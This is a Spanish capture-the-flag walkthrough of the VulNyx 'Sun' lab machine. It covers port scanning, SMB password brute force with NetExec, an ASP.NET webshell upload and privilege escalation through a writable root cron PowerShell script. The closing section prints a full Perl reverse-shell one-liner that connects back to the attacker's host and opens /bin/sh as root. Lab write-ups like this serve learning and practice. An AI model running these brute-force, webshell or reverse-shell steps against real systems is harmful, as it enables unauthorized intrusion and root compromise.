VulNyx - Sun
- Brute Force SMB - (NetExec)
- AspNet - (WebShell)
- Abusing Cron Task - (Privesc/script.ps1)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.72
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
Escaneo de servicios
❯ nmap -sV -sC -p 22,80,139,445,8080 -v 192.168.1.72
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Sun
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
8080/tcp open http nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
|_http-title: Sun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| nbstat: NetBIOS name: SUN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| SUN<00> Flags: <unique><active>
| SUN<03> Flags: <unique><active>
| SUN<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb2-time:
| date: 2024-04-07T11:36:27
|_ start_date: N/A
HTTP TCP - 80, 8080
En ambos puertos existe la misma imagen.
SMB TCP - 445
Lanzo enum4linux y encuentro el usuario punt4n0.
❯ enum4linux -a 192.168.1.72
Realizo fuerza bruta al usuario punt4n0 con netexec y encuentro una contraseña.
❯ ./nxc smb 192.168.1.72 -u 'punt4n0' -p '/usr/share/wordlists/rockyou.txt' --ignore-pw-decoding
Con la flag --shares
enumero los recursos compartidos del usuario punt4n0.
Seguidamente uso smbclient para conectarme al recurso con el nombre punt4n0 y veo la estructura de un sitio web.
Subo el archivo test.txt
para comprobar donde se sube ya que existen dos servicios web.
El archivo se ha subido en el servidor web que usa el puerto 8080.
Con curl reviso el puerto 8080 y encuentro la cabecera de AspNet.
❯ curl http://192.168.1.72:8080 -I
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Wed, 03 Apr 2024 14:37:53 GMT
Content-Type: text/html
Content-Length: 263
Connection: keep-alive
Last-Modified: Tue, 02 Apr 2024 08:54:36 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: private
Me descargo esta Webshell pero es para sistemas Windows.
Se puede configurar para sistemas Linux cambiando el psi.FileName
y el psi.Arguments
.
Subo la Webshell al servidor.
Con el navegador abro la webshell.aspx
y veo una herramienta para ejecutar comandos.
Con el comando id veo que puedo ejecutar comandos como usuario punt4n0.
En este punto hay varios métodos para acceder al sistema, usando la misma webshell, el primer método es el intencionado, lanzo un cat apuntando a la llave rsa y consigo leer el contenido del archivo pero se aprecia que está encriptada.
Después de realizar fuerza bruta a la llave rsa sin éxito me doy cuenta de que existen varios archivos ocultos en el home del usuario punt4n0.
Visualizo el contendio de .remember_password
y encuentro el passphrase de la llave rsa.
Me conecto al sistema usando la llave rsa y el passphrase encontrado.
##· Modo no intencionado.
Para obtener una shell he usado este recurso.
Recibo la shell como usuario punt4n0.
Con find busco archivos con permisos de escritura.
punt4n0@sun:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run|home|var|tmp'
/opt/service.ps1
punt4n0@sun:~$ ls -la /opt/service.ps1
-rwx---rw- 1 root root 4502 abr 4 20:43 service.ps1
Es un script de powershell y tiene este contenido.
$idOutput = id
$outputFilePath = "/dev/shm/out"
$idOutput | Out-File -FilePath $outputFilePath
Con while creo un bucle para que me muestre si service.ps1 se ejecuta usando una tarea cron.
punt4n0@sun:~$ while true; do ps aux | grep -e "service.ps1" | grep -v grep; done
root 62815 0.0 0.0 2576 904 ? Ss 20:40 0:00 /bin/sh -c /usr/bin/pwsh /opt/service.ps1
root 62816 33.3 2.0 273365376 20080 ? Rl 20:40 0:00 /usr/bin/pwsh /opt/service.ps1
root 62815 0.0 0.0 2576 904 ? Ss 20:40 0:00 /bin/sh -c /usr/bin/pwsh /opt/service.ps1
root 62816 40.0 3.2 273458708 31600 ? Sl 20:40 0:00 /usr/bin/pwsh /opt/service.ps1
Mis sospechas eran correctas así que ahora modifico el script para obtener una shell.
$idOutput = perl -e 'use Socket;$i="192.168.1.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
$outputFilePath = "/dev/shm/out"
$idOutput | Out-File -FilePath $outputFilePath
Después de un minuto obtengo una shell de root.
Y aquí termina la máquina Sun.
Saludos!